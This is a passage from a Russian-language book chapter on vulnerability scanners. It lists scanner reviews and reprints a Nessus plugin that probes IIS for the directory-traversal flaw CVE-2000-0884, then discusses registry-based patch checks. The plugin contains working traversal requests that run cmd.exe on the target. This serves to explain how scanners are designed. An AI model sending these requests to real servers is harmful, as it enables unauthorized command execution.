...

Инструментарий и ловушки

Автоматизированные инструментальные средства: обзор программ

Ниже приведены ссылки на различные обзоры большого числа ныне доступных автоматизированных инструментальных средств. Большинство авторов обзоров сходится во мнении о том, что скрытно работающие, малозаметные инструментальные средства проверяют лишь наличие патчей, а не их эффективность. Это оправдано в тех случаях, когда патч не в полной мере решает проблему и поэтому проверка установки патча позволяет решить вопрос об уязвимости системы.

Читатель может найти обзоры рассматриваемых инструментальных средств по приведенным ниже адресам:

• сравнительный обзор обычно используемых сканеров www.nwc.com/1201/1201f1b1.html

• всесторонний обзор различных сканеров www.westcoast.com/securecomputing/2001_07/testc/prod2.html

• сравнительный обзор некоторых из наиболее популярных коммерческих сканеров www.infosecuritymag.com/articles/january01/features1.shtml

• обзор наиболее покупаемых автоматизированных инструментальных средств, подготовленный Info Security www.westcoast.com/asiapacific/articles/2000_07/testc/testc.html

• CyberCop Scanner 5.5 компании Network Associates (NAI) www.secadministrator.com/Articles/Index.cfm?ArticleID=9203

• NetRecon 3.0 компании Axent (ныне Symantec) www.secadministrator.com/Articles/Index.cfm?ArticleID=9204

• ISS Internet Scanner 6.1 www.secadministrator.com/Articles/Index.cfm?ArticleID=9205

• BindView HackerShield (ныне BV–Control for Internet Security) www.secadministrator.com/Articles/Index.cfm?ArticleID=9206

• Webtrends (ныне NetIQ) Scanner 3.0 www.secadministrator.com/Articles/Index.cfm?ArticleID=9207

Для тестирования каждого хоста инструментальные средства сканирования используют ряд проверок или просмотров сигнатур. Большинство коммерческих и свободно распространяемых сканеров поддерживают легкий для понимания и использования язык создания сценариев. Любой, кто хоть немного знаком с программированием, может понять алгоритм работы проверок и определить, что именно они ищут. Ниже показан пример реализации алгоритма сканирования в сканере Nessus – одном из свободно распространяемых сканеров. Сканирование выполняется с целью поиска хостов, не защищенных от атаки на информационный сервер Интернет с использованием его уязвимости под названием уязвимость обхода директорий (Internet Information Server(IIS) Directory Traversal Vulnerability – CVE ID 2000–0884).

Полная версия плагина (подключаемой программы plug-in) Nessus доступна на сайте http://cvs.nessus.org/cgi-bin/cvsweb.cgi/~checkout~/nessus-plugins/scripts/iis_dir_traversal.nasl.

script_description(english:desc[“english”]);

summary[“english”] = “Determines if arbitrary commands can

be executed thanks to IIS”;

script_summary(english:summary[“english”]);

script_category(ACT_GATHER_INFO);

script_copyright(english:“This script is Copyright (C) 2001

H D Moore”);

family[“english”] = “CGI abuses”;

script_family(english:family[“english”]);

script_dependencie(“find_service.nes”, “http_version.nasl”);

script_require_ports(“Services/www”, 80);

script_require_keys(“www/iis”);

exit(0);

}

port = get_kb_item(“Services/www”);

if(!port)port = 80;

dir[0] = “/scripts/”;

dir[1] = “/msadc/”;

dir[2] = “/iisadmpwd/”;

dir[3] = “/_vti_bin/”; # FP

dir[4] = “/_mem_bin/”; # FP

dir[5] = “/exchange/”; # OWA

dir[6] = “/pbserver/”; # Win2K

dir[7] = “/rpc/”; # Win2K

dir[8] = “/cgi-bin/”;

dir[9] = “/”;

uni[0] = “%c0%af”;

uni[1] = “%c0%9v”;

uni[2] = “%c1%c1”;

uni[3] = “%c0%qf”;

uni[4] = “%c1%8s”;

uni[5] = “%c1%9c”;

uni[6] = “%c1%pc”;

uni[7] = “%c1%1c”;

uni[8] = “%c0%2f”;

uni[9] = “%e0%80%af”;

function check(req)

{

soc = open_sock_tcp(port);

if(soc)

{

req = http_get(item:req, port:port);

send(socket:soc, data:req);

r = recv(socket:soc, length:1024);

close(soc);

pat = “

”;

pat2 = “Directory of C”;

if((pat >< r) || (pat2 >< r)){

security_hole(port:port);

return(1);

}

}

return(0);

}

cmd = “/winnt/system32/cmd.exe?/c+dir+c:\\+/OG”;

for(d=0;dir[d];d=d+1)

{

for(u=0;uni[u];u=u+1)

{

url = string(dir[d], “..”, uni[u], “..”, uni[u], “..”,

uni[u], “..”, uni[u], “..”, uni[u], “..”, cmd);

if(check(req:url))exit(0);

}

}

Как читатель может понять, программа проверки, написанная Муром (H D Moore) для сканера Nessus, активно попытается воспользоваться известной ей уязвимостью. В случае обнаружения уязвимого хоста будет послано сообщение. С другой стороны, программа может проверить ту же самую уязвимость путем простой проверки соответствующего ключа реестра:

HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\%HOTFIX_NUMBER%

Последний способ проще, и вероятно, его легче запрограммировать, но у него есть несколько недостатков. Во-первых, для проверки ключа реестра требуется доступ с правами администратора. Во-вторых, рассматриваемый способ может как подтвердить факт инсталляции заплаты системы безопасности Hotfix, так и не подтвердить его, если заплата была установлена правильно или если система на самом деле неуязвима. Часто инсталляция этой возможности в Windows NT вынуждает операционную систему затребовать чтение файлов с оригинального инсталляционного CD-диска, что в значительной степени ведет к возврату в небезопасное состояние системы после ее первой инсталляции. Причем после инсталляции ключ останется в реестре, хотя исправляемая заплатой ошибка не будет еще исправлена патчем.

Современные традиционные инструментальные средства, столкнувшись с такой ситуацией, прекратят свою работу и отошлют отчет с результатами сканирования обратно оператору. Некоторые из новейших, ныне разрабатываемых инструментальных средств способны продвинуться на шаг дальше. Далее на примере той же самой уязвимости CVE ID 2000–0884 информационного сервера Интернет IIS будут объяснены подходы к ее разрешению, которые используются в некоторых разрабатываемых инструментальных средствах тестирования на проникновение.

Алгоритм работы подобных инструментальных средств предусматривает следующую последовательность действий. Сначала они попытаются определить, уязвима система или нет, используя для этого почти такой же сценарий, как и плагин (подключаемая программа) к сканеру Nessus. Затем найденная уязвимость будет использована для дальнейшего сбора информации о сканируемом хосте и его сети. Собрав необходимую информацию и используя другие уязвимости совместно с командами, даже простыми, перспективные инструментальные средства тестирования на проникновение попытаются проникнуть в систему и ее сеть дальше.

Многие консультирующие структуры, которые занимаются тестированием на проникновение, уже обладают инструментарием для выполнения этих задач, хотя ни одно из них в настоящее время недоступно ни как коммерческий, ни как свободно распространяемый продукт.

Загрузка...